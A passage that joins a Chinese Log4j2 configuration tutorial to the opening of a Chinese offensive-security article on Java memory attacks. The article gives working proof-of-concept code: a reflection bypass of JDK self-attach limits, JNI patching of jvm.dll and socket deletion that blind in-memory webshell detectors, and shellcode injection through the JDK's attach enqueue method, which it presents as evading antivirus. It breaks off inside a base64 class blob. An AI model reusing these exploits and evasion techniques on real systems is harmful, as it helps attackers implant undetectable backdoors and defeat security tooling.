<!--interval属性用来指定多久滚动一次,默认是1小时--> <TimeBasedTriggeringPolicy interval="1"/> <SizeBasedTriggeringPolicy size="20MB"/> </Policies> <!-- DefaultRolloverStrategy属性如不设置,则默认为最多同一文件夹下7个文件开始覆盖--> <DefaultRolloverStrategy max="15"/> </RollingFile> <!--配置名为database的数据库类型的appender--> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" /> <Column name="eventDate" isEventTimestamp="true" /> <Column name="level" pattern="%level" /> <Column name="logger" pattern="%logger" /> <Column name="message" pattern="%message" /> <Column name="exception" pattern="%ex{full}" /> </JDBC> </Appenders> <Loggers> <!--配置根Logger,设置日志级别为info--> <Root level="info"> <!--使用在Appenders中定义的名为Console的appender--> <AppenderRef ref="Console"/> </Root> <!--配置子Logger,--> <Logger name="com.qinxin.Log4j2Test" level="debug" additivity="false"> <AppenderRef ref="File" </Logger> </Loggers> </Configuration>各节点层级关系:Configuration <!--配置文件根节点-->Name <!--日志项目名称(可选)-->Properties <!--全局配置参数(可选)-->Filter <!--过滤器(可选)-->Appenders <!--输出目标-->Async <!--设置异步Appender(不推荐,推荐使用异步Logger)-->AppenderRef <!--绑定Appender-->ConsoleAppender <!--在控制台输出的Appender-->PatternLayout <!--自定义输出格式-->ThresholdFilterFileAppender <!--在文件输出的Appender-->PatternLayout <!--自定义输出格式-->ThresholdFilterJDBCAppender <!--在数据库输出的Appender-->DataSourceConnectionFactoryDriverManagerPoolingDriverHTTPAppender <!--通过 HTTP 发送日志的Appender-->NoSqlAppender <!--将日志事件写入 NoSQL 数据库的Appender,当前存在 MongoDB 和 Apache CouchDB 的提供程序实现-->LoggersRoot <!--父Logger-->Logger <!--自定义子logger,会继承父logger的appender-->Configuration属性Attribute Name Descriptionadvertiser (可选)advertiser 插件名称,将用于广告各个 FileAppender 或 SocketAppender 配置。提供的唯一 advertiser 插件是“ multicastdns”。dest stderr 的“ err”,stdout 的“ out”,文件路径或 URL。monitorInterval 在检查文件配置是否更改之前必须经过的最短时间(以秒为单位)。name 配置的名称。packages 用逗号分隔的软件包名称列表,用于搜索插件。每个类加载器仅加载一次插件,因此更改此值可能对重新配置没有任何影响。schema 标识类加载器的位置,该位置用于定位 XML 模式以用于验证配置。仅在 strict 设置为 true 时有效。如果未设置,则不会进行任何模式验证。shutdownHook 指定在 JVM 关闭时 Log4j 是否应自动关闭。默认情况下,关闭钩子是启用的,但可以通过将此属性设置为“禁用”来禁用shutdownTimeout 指定关闭 JVM 时将关闭多少毫秒的附加程序和后台任务。默认值为零,这意味着每个追加程序都使用其默认超时,并且不 await 后台任务。并非所有的附加程序都将遵守此规则,这只是提示,而不是绝对的保证,关闭过程将不需要更长的时间。将此值设置得太低会增加丢失尚未写入最终目标的未决日志事件的风险。参见LoggerContext.stop(long, java.util.concurrent.TimeUnit)。 (如果 shutdownHook 设置为“禁用”,则不使用.)status 应该记录到控制台的内部 Log4j 事件的级别。此属性的有效值为“ trace”,“ debug”,“ info”,“ warn”,“ error”和“ fatal”。 Log4j 会将有关初始化,过渡和其他内部操作的详细信息记录到状态 Logger 中。如果需要对 log4j 进行故障排除,设置 status =“ trace”是您可以使用的首批工具之一。strict 启用严格 XML 格式的使用。 JSON 配置中不支持。verbose 在加载插件时启用诊断信息。ConsoleAppender属性:Parameter Name Type Descriptionfilter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。layout Layout 用于格式化 LogEvent 的 Layout。如果未提供任何布局,则将使用默认图案布局“%m%n”。follow boolean 标识附加程序是否通过配置后进行的 System.setOut 或 System.setErr 兑现 System.out 或 System.err 的重新分配。请注意,在 Windows 上,follow 属性不能与 Jansi 一起使用。不能直接使用。direct boolean 直接写入 java.io.FileDescriptor 并绕过 java.lang.System.out/.err。将输出重定向到文件或其他进程时,最多可以使性能提高 10 倍。在 Windows 上不能与 Jansi 一起使用。不能与关注一起使用。输出将不遵守 java.lang.System.setOut()/。setErr(),并且可能与多线程应用程序中 java.lang.System.out/.err 的其他输出交织在一起。自 2.6.2 起新增。请注意,这是一个新增功能,到目前为止,仅在 Linux 和 Windows 上使用 Oracle JVM 进行了测试。name String Appender的名字。ignoreExceptions boolean 默认值为 true,导致在追加事件时遇到的异常会在内部记录下来,然后被忽略。设置为 false 时,异常将传播到调用方。当将此 Appender 封装在FailoverAppender中时,必须将其设置为 false。target String “ SYSTEM_OUT”或“ SYSTEM_ERR”。默认值为“ SYSTEM_OUT”。FileAppender属性:Parameter Name Type Descriptionappend boolean 如果为 true-默认值,记录将附加到文件末尾。设置为 false 时,将在写入新记录之前清除文件。bufferedIO boolean 如果为 true-默认值,则记录将被写入缓冲区,并且当缓冲区已满或(如果设置了 InstantFlush 时)记录被写入时,数据将被写入磁盘。文件锁定不能与 bufferedIO 一起使用。性能测试表明,即使启用了 InstantFlush,使用缓冲 I/O 也会显着提高性能。bufferSize int 当 bufferedIO 为 true 时,这是缓冲区大小,默认值为 8192 字节。createOnDemand boolean 附加器按需创建文件。仅当日志事件通过所有过滤器并将其路由到此附加程序时,附加程序才创建文件。默认为 false。filter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。fileName String 要写入的文件名。如果该文件或其任何父目录不存在,则将创建它们。immediateFlush boolean 设置为 true-默认值时,每次写操作后都会进行刷新。这将确保将数据写入磁盘,但可能会影响性能。JDBCAppender属性:Parameter Name Type Descriptionname String 需要。Appender的名字。ignoreExceptions boolean 默认值为 true,导致在追加事件时遇到的异常会在内部记录下来,然后被忽略。设置为 false 时,异常将传播到调用方。当将此 Appender 封装在FailoverAppender中时,必须将其设置为 false。filter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。bufferSize int 如果大于 0 的整数,这将导致附加程序缓冲日志事件并在缓冲区达到此大小时刷新。connectionSource ConnectionSource 需要。应从中检索数据库连接的连接源。tableName String 需要。要向其中插入日志事件的数据库表的名称。columnConfigs ColumnConfig[] 必需(和/或 columnMappings)。有关应将事件数据日志记录的列的信息以及如何插入该数据的信息。这由多个\ 元素表示。columnMappings ColumnMapping[] 必需(和/或 columnConfigs)。列 Map 配置列表。每列必须指定一个列名。每列都可以具有由其完全限定的类名指定的转换类型。默认情况下,转换类型为字符串。如果配置的类型与ReadOnlyStringMap/ThreadContextMap或ThreadContextStack分配兼容,则该列将分别用 MDC 或 NDC 填充(这是数据库特定的,他们如何处理插入 Map 或 List 值)。如果配置的类型与 java.util.Date 分配兼容,则日志时间戳记将转换为该配置的日期类型。如果配置的类型与 java.sql.Clob 或 java.sql.NClob 兼容,则格式化事件将分别设置为 Clob 或 NClob(类似于传统的 ColumnConfig 插件)。如果给定了 Literals 属性,则将在 INSERT 查询中按原样使用其值,而不会进行任何转义。否则,指定的布局或图案将转换为配置的类型并存储在该列中。immediateFail boolean 默认为false, 设置为 true 时,日志事件将不 await 尝试重新连接,如果 JDBC 资源不可用,日志事件将立即失败。 2.11.2 的新功能reconnectIntervalMillis long 默认为5000,如果设置为大于 0 的值,则在发生错误后,JDBCDatabaseManager 将在 await 指定的毫秒数后尝试重新连接到数据库。如果重新连接失败,则将引发异常(如果将 ignoreExceptions 设置为 false,则应用程序可以捕获该异常)。 2.11.2 中的新功能PatternLayout的pattern参数:符号 描述%d 表示时间,默认情况下表示打印完整时间戳 2012-11-02 14:34:02,123,可以调整 %d 后面的参数来调整输出的时间格式,格式为%d{HH:mm:ss}%p 表示输出日志的等级,可以使用 %highlight{%p} 来高亮显示日志级别%c 用来输出类名,默认输出的是完整的包名和类名,%c{1.} 输出包名的首字母和完整类名%t 表示线程名称%m 表示日志内容,%M 表示方法名称%n 表示换行符%L 表示打印日志的代码行数%msg 日志文本%-5level 输出日志级别,-5表示左对齐并且固定输出5个字符,如果不足在右边补0、%logger 输出logger名称,因为Root Logger没有名称,所以没有输出%F 输出所在的类文件名,如:Log4j2Test.java详细配置信息可查看Log4j2中文文档:Log4j2 中文文档 - Log4j2 2.x Manual | Docs4devMaven项目使用1、引入依赖<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.12.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.12.1</version> </dependency>2、可进行文件配置,也可直接使用(直接使用默认输出级别为Error)import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2HelloWorld { private static final Logger logger = LogManager.getLogger(Log4j2HelloWorld.class); public static void main(String[] args) { logger.error("This is a error"); } }SpringBoot整合Log4j21、引入依赖由于SpringBoot默认使用SLF4J+LogBack,所以如果要使用Log4j2,就需要从spring-boot-starter-web中去掉spring-boot-starter-logging依赖,同时引入Log4j2的依赖jar包。<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <!-- 去掉默认配置 --> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <!-- 引入log4j2依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency>2、定义配置文件(不做展示)3、在代码中使用 public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }———————————————— 原文链接:https://blog.csdn.net/qq_53998646/article/details/129999120
-
前言Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS、RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上,我分享了《Java内存攻击技术漫谈》的议题,个人觉得PPT承载的信息比较离散,技术类的内容还是更适合用文章的形式来分享,所以一直想着抽时间写一篇和议题配套的文章,不巧赶上南京的新冠疫情,这篇文章拖了一个多月才有时间写。allowAttachSelf绕过Java的instrument是Java内存攻击常用的一种机制,instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许SelfAttach:Attach API cannot be used to attach to the current VM by default The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change. 也就是说,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效。编写一个demo尝试attach自身PID,提示Can not attach to current VM,如下:经过分析attch API的执行流程,定位到如下代码:由上图可见,attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC: Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine"); Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF"); field.setAccessible(true); Field modifiersField=Field.class.getDeclaredField("modifiers"); modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL); field.setBoolean(null,true);由于ALLOW_ATTACH_SELF字段有final修饰符,所以在修改ALLOW_ATTACH_SELF值的同时,也需要把它的final修饰符给去掉(修改的时候,会有告警产提示,不影响最终效果,可以忽略)。修改后,可以成功attach到自身进程,如下图:这样,我们就成功绕过了allowAttachSelf的限制。内存马防检测随着攻防热度的升级,内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类:Agent型利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。非Agent型通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。由于内存马技术的火热,内存马的检测也如火如荼,针对内存马的检测,目前业界主要有两种方法:基于反射的检测方法该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。基于instrument机制的检测方法该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。既然通过instrument机制能检测到Agent型内存马,那我们怎么样才能避免被检测到呢?答案比较简单,也比较粗暴,那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理,检测软件无法attach,自然也就无法检测。首先,我们先分析一下instrument的工作流程,如下图:检测工具作为Client,根据指定的PID,向目标JVM发起attach请求;JVM收到请求后,做一些校验(比如上文提到的jdk.attach.allowAttachSelf的校验),校验通过后,会打开一个IPC通道。接下来Client会封装一个名为AttachOperation的C++对象,发送给Server端;Server端会把Client发过来的AttachOperation对象放入一个队列;Server端另外一个线程会从队列中取出AttachOperation对象并解析,然后执行对应的操作,并把执行结果通过IPC通道返回Client。由于该套流程的具体实现在不同的操作系统平台上略有差异,因此接下来我分平台来展开。windows平台通过分析定位到如下关键代码:可以看到当var5不等于0的时候,attach会报错,而var5是从var4中读取的,var4是execute的返回值,跟入execute,如下:可以看到,execute方法又把核心工作交给了方法enqueue,这个方法是一个native方法,如下图:继续跟入enqueue方法:可以看到enqueue中封装了一个DataBlock对象,里面有几个关键参数:strcpy(data.jvmLib, "jvm");strcpy(data.func1, "JVM_EnqueueOperation");strcpy(data.func2, "_JVM_EnqueueOperation@20");以上操作都发生在Client侧,接下来我们转到Server侧,定位到如下代码:这段代码是把Client发过来的对象进行解包,然后解析里面的指令。经常写Windows shellcode的人应该会看到两个特别熟悉的API:GetModuleHandle、GetProcAddress,这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和_JVM_EnqueueOperation@20的两个导出函数,这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。到这里我想大家应该知道接下来该怎么做了,那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉,不就可以成功把instrument的流程给破坏掉了么?静态分析结束了,接下来动态调试Server侧,定位到如下位置:图中RIP所指即为JVM_EnqueueOperation函数的入口,我们只要让RIP执行到这里直接返回即可:怎么修改呢?当然是用JNI,核心代码如下:unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);} /*unsigned char buf[]="\xc3"; //64,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");//printf("ConnectNamedPipe:%p",dst);DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);}*/注意这里要考虑32位和64位的区别,同时要注意堆栈平衡,否则可能会导致进程crash。到此,我们就实现了Windows平台上的内存马防检测(Anti-Attach)功能,我们尝试用JProfiler连接试一下,可见已经无法attach到目标进程了:以上即是Windows平台上的内存马防检测功能原理。Linux平台在Linux平台,instrument的实现略有不同,通过跟踪整个流程定位到如下代码:可以看到,在Linux平台上,IPC通信采用的是UNIX Domain Socket,因此想破坏Linux平台下的instrument attach流程还是比较简单的,只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后,我们尝试对目标JVM进行attach,便会提示无法attach:到此,我们就实现了Linux平台上的内存马防检测(Anti-Attach)功能,当然其他*nix-like的操作系统平台也同样适用于此方法。最后说一句,内存马防检测,其实可以在上述instrument流程图中的任意一个环节进行破坏,都可以实现Anti-Attach的效果。Java原生远程进程注入在Windows平台上,进程代码注入有很多种方法,最经典的方法要属CreateRemoteThread,但是这些方法大都被防护系统盯得死死的,比如我写了如下一个最简单的远程注入shellcode的demo:往当前进程里植入一个弹计算器的shellcode,编译,运行,然后意料之中出现如下这种情况:但是经过分析JVM的源码我发现,在Windows平台上,Java在实现instrument的时候,出现了一个比较怪异的操作。在Linux平台,客户端首先是先和服务端协商一个IPC通道,然后后续的操作都是通过这个通道传递AttachOperation对象来实现,换句话说,这中间传递的都是数据,没有代码。但是在Windows平台,客户端也是首先和服务端协商了一个IPC通道(用的是命名管道),但是在Java层的enqueue函数中,同时还使用了CreateRemoteThread在服务端启动了一个stub线程,让这个线程去在服务端进程空间里执行enqueue操作:这个stub执行体pCode是在客户端的native层生成的,生成之后作为thread_func传给服务端。但是,虽然stub是在native生成的,这个stub却又在Java层周转了一圈,最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。这样就形成了一个完美的原生远程进程注入,构造如下POC:import java.lang.reflect.Method; public class ThreadMain { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue")) { long hProcess=-1; //hProcess=getHandleByPid(30244); byte buf[] = new byte[] //pop calc.exe { (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; String cmd="load";String pipeName="test"; m.setAccessible(true); Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}}); System.out.println("result:"+result); } } Thread.sleep(4000); } public static long getHandleByPid(int pid) { Class cls= null; long hProcess=-1; try { cls = Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("openProcess")) { m.setAccessible(true); Object result=m.invoke(cls,pid); System.out.println("pid :"+result); hProcess=Long.parseLong(result.toString()); } } } catch (Exception e) { e.printStackTrace(); } return hProcess; }}编译,执行:成功执行shellcode,而且Windows Defender没有告警,天然免杀。毕竟,谁能想到有着合法签名安全可靠的Java.exe会作恶呢:)至此,我们实现了Windows平台上的Java远程进程注入。另外,这个技术还有个额外效果,那就是当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了,也就是说,上文提到的内存马防检测机制,不需要依赖JNI,只要纯Java代码也可以实现。冰蝎3.0中提供了一键cs上线功能,采用的是JNI机制,中间需要上传一个临时库文件才能实现上线。现在利用这个技术,可以实现一个JSP文件或者一个反序列化Payload即可上线CS:自定义类调用系统Native库函数在上一小节Java原生远程进程注入中,我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类,然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑,这个Native方法位于attach.dll,这个dll是JDK和Server-JRE默认自带的,但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar?因为有些JDK环境是没有tools.jar的。当然,这个担心是没必要的。我们只要自己写一个类,类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问,我们自己写一个sun.tools.attach.VirtualMachineImpl类,但是如果某个目标里确实有tools.jar,那我们自己写的类在加载的时候就会报错,有没有一个更通用的方法呢?当然还是有的。其实这个方法在冰蝎1.0版本的时候就已经解决了,那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。比如我们自定义如下这个类:package sun.tools.attach; import java.io.IOException;import java.util.Scanner; public class WindowsVirtualMachine { static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object... args) throws IOException; static native long openProcess(int pid) throws IOException; public static void run(byte[] buf) { System.loadLibrary("attach"); try { enqueue(-1, buf, "test", "test", new Object[]{}); } catch (Exception e) { e.printStackTrace(); } }}然后把这个类编译成class文件,把这个文件用Base64编码,然后写到如下POC里:import java.io.*;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.security.Permission;import java.util.Arrays;import java.util.Base64; public class Poc { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) { try { String classStr="yv66vgAAADQAMgoABwAjCAAkCgAlACYF//8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAAbEAAAACAA8AAAAGAAEAAAAGABAAAAAMAAEAAAAFABEAEgAAAYgAEwAUAAEAFQAAAAQAAQAWAQgAFwAYAAEAFQAAAAQAAQAWAAkAGQAaAAEADgAAB2MABgACAAAHABICuAADEQEUvAhZAxD8VFkEEEhUWQUQg1RZBhDkVFkHEPBUWQgQ6FRZEAYQwFRZEAcDVFkQCANUWRAJA1RZEAoQQVRZEAsQUVRZEAwQQVRZEA0QUFRZEA4QUlRZEA8QUVRZEBAQVlRZEBEQSFRZEBIQMVRZEBMQ0lRZEBQQZVRZEBUQSFRZEBYQi1RZEBcQUlRZEBgQYFRZEBkQSFRZEBoQi1RZEBsQUlRZEBwQGFRZEB0QSFRZEB4Qi1RZEB8QUlRZECAQIFRZECEQSFRZECIQi1RZECMQclRZECQQUFRZECUQSFRZECYQD1RZECcQt1RZECgQSlRZECkQSlRZECoQTVRZECsQMVRZECwQyVRZEC0QSFRZEC4QMVRZEC8QwFRZEDAQrFRZEDEQPFRZEDIQYVRZEDMQfFRZEDQFVFkQNRAsVFkQNhAgVFkQNxBBVFkQOBDBVFkQORDJVFkQOhANVFkQOxBBVFkQPARUWRA9EMFUWRA+EOJUWRA/EO1UWRBAEFJUWRBBEEFUWRBCEFFUWRBDEEhUWRBEEItUWRBFEFJUWRBGECBUWRBHEItUWRBIEEJUWRBJEDxUWRBKEEhUWRBLBFRZEEwQ0FRZEE0Qi1RZEE4QgFRZEE8QiFRZEFADVFkQUQNUWRBSA1RZEFMQSFRZEFQQhVRZEFUQwFRZEFYQdFRZEFcQZ1RZEFgQSFRZEFkEVFkQWhDQVFkQWxBQVFkQXBCLVFkQXRBIVFkQXhAYVFkQXxBEVFkQYBCLVFkQYRBAVFkQYhAgVFkQYxBJVFkQZARUWRBlENBUWRBmEONUWRBnEFZUWRBoEEhUWRBpAlRZEGoQyVRZEGsQQVRZEGwQi1RZEG0QNFRZEG4QiFRZEG8QSFRZEHAEVFkQcRDWVFkQchBNVFkQcxAxVFkQdBDJVFkQdRBIVFkQdhA